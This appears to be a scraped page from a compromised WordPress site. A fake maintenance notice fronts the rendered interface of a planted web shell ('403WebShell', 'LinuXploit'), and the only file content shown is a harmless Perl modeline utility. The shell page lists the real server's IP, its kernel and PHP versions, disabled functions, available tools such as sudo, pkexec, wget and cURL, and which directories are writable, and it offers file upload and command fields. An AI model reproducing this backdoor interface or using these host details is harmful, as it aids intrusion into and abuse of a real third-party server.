WordPress

Briefly unavailable for scheduled maintenance.
Check back in a some hours.
Uname:Linux wp 4.15.0-213-generic #224-Ubuntu SMP Mon Jun 19 13:30:12 UTC 2023 x86_64

Base Dir : /var/www/eduesan

User : www-data


403WebShell
403Webshell
Server IP : 202.131.237.196  /  Your IP : 216.73.216.192
Web Server : nginx/1.14.0
System : Linux wp 4.15.0-213-generic #224-Ubuntu SMP Mon Jun 19 13:30:12 UTC 2023 x86_64
User : www-data ( 33)
PHP Version : 7.2.24-0ubuntu0.18.04.17
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /www/server/nginx/src/lua_nginx_module/util/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /www/server/nginx/src/lua_nginx_module/util/revim
#!/usr/bin/perl
# vim:set ft=perl ts=4 sw=4 et fdm=marker:
#
# revim - add customized vim modeline for given files
# Copyright (c) 2010 chaoslawful

use strict;
use warnings;
use Getopt::Std;

my %opts;

getopts('hm:', \%opts);

if($opts{h} or !@ARGV) {
    die <<EOT;
Usage: revim [-m <vim modeline>] src/*

In <vim modeline>, the following placeholder(s) can be used:

    * %t - Expands to vim file type. E.g. 'c' for .c files, 'perl' for .pl files.
EOT
}

my $vim_ml = $opts{m} || "vim:set ft=%t ts=4 sw=4 et fdm=marker:";
my @files = map glob, @ARGV;
for my $file (@files) {
    next if -d $file;
    my ($ft, $ml) = detect_filetype($file, $vim_ml);
    next if !defined($ft);
    revim($file, $ml);
}

sub detect_filetype
{
    my ($f, $tmpl) = @_;
    my ($ft, $lcmt, $rcmt);
    my %phs;

    if($f =~ /.([cC]|[hH])$/) {
        $ft = "c";
        ($lcmt, $rcmt) = ("/* ", " */");
    } elsif($f =~ /.(pl|pm)$/) {
        $ft = "perl";
        ($lcmt, $rcmt) = ("# ", "");
    } elsif($f =~ /.t_?$/) {
        # assuming tests are written in perl
        $ft = "perl";
        ($lcmt, $rcmt) = ("# ", "");
    } else {
        $ft = undef;
    }

    if(defined($ft)) {
        %phs = (
            "%t" => $ft,
        );

        $tmpl =~ s/(%[a-z])/$phs{$1}/ge;
        $tmpl =~ s/^/$lcmt/;
        $tmpl =~ s/$/$rcmt/;

        return ($ft, $tmpl);
    }

    return (undef, undef);
}

sub revim
{
    my ($f, $ml) = @_;
    my @lines;

    open my $in, $f
        or die "Can't open $f for reading: $!";
    while(<$in>) {
        push(@lines, $_);
    }
    close $in;

    my @nlines = grep {!/\bvim?:/} @lines;
    warn "revim: $f:\tremoved existing vim modeline.\n"
        if(@nlines != @lines);

    if($nlines[0] =~ /^#!/) {    # has shebang line
        my $shebang = shift @nlines;
        unshift(@nlines, $shebang, "$ml\n");
    } else {
        unshift(@nlines, "$ml\n");
    }

    my $text = join '', @nlines;

    open my $out, "> $f"
        or die "Can't open $f for writing: $!";
    binmode $out;
    print $out $text;
    close $out;

    warn "revim: $f:\tdone.\n";
}


Youez - 2016 - github.com/yon3zu
LinuXploit